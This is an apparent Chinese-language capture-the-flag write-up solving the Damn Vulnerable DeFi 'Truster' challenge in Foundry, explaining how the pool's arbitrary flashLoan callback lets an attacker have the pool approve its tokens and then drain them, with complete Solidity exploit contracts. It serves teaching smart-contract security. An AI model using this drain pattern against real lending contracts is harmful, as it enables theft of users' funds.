挑戰 #3 - Truster#
為了系統的學習 solidity 和 foundry,我基於 foundry 測試框架重新編寫 damnvulnerable-defi 的題解,歡迎交流和共建~🎉
合約#
- TrusterLenderPool:提供閃電貸功能,池子中有 100w DVT tokens
腳本#
- 部署 DamnValuableToken、TrusterLenderPool 合約
- 向 pool 中轉入 100w DVT tokens
- 執行攻擊腳本
- 期望 100w token 全部歸屬 player 賬戶,pool 餘額清空
題解#
在 pool 中的 flashLoan 方法中,首先需要計算當前的 token 餘額 balanceBefore,然後轉移 token 到 borrower,再執行給定 target.functionCall,最後校驗當前餘額和 balanceBefore
區別於之前的閃電貸,這裡 pool 沒有繼承 IERC3156FlashLender,而是通過調用傳入的 target 和 calldata 完成回調功能
因此主要的攻擊方向就是 target.functionCall,包括的內容是:
- 將指定 amount 的 token approve 給攻擊合約
- 執行 repay 流程
執行完 functionCall 後再利用 transfer 方法將 token 從 pool 中轉移出來,整體流程圖如下所示:
根據題目要求,盡可能在一筆交易完成,那麼需要寫合約來完成 flashloan+approve+transfer 的操作
-
包括兩個合約:TmpAttacker 和 Attacker,執行 flashloan 的是 Attacker,但是因為一筆交易內完成(只有部署合約),部署合約時無法拿到當前合約地址,需要再創建一個合約:TmpAttacker
-
部署 Attacker 合約時會調用 pool.flashLoan,此時 amount 為 0,只是為了進行 approve,將 TOKENS_IN_POOL 數目的 token approve 給 TmpAttacker
-
再調用 TmpAttacker.withdraw 將 token 轉移到 player 賬戶,完成攻擊
整體代碼如下:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../src/truster/TrusterLenderPool.sol";
import "../../src/DamnValuableToken.sol";
contract TmpAttacker {
uint256 internal constant TOKENS_IN_POOL = 1_000_000e18;
address player;
address pool;
DamnValuableToken token;
constructor(address _player,address _token, address _pool){
player = _player;
pool = _pool;
token = DamnValuableToken(_token);
}
function withdraw() external{
token.transferFrom(pool, player, TOKENS_IN_POOL);
}
}
contract Attacker {
uint256 internal constant TOKENS_IN_POOL = 1_000_000e18;
constructor(address _pool, address _token){
TmpAttacker attacker = new TmpAttacker(msg.sender, _token,_pool);
TrusterLenderPool pool = TrusterLenderPool(_pool);
bytes memory data = abi.encodeWithSignature(
"approve(address,uint256)",
attacker,
TOKENS_IN_POOL
);
pool.flashLoan(0, address(attacker), _token, data);
attacker.withdraw();
}
}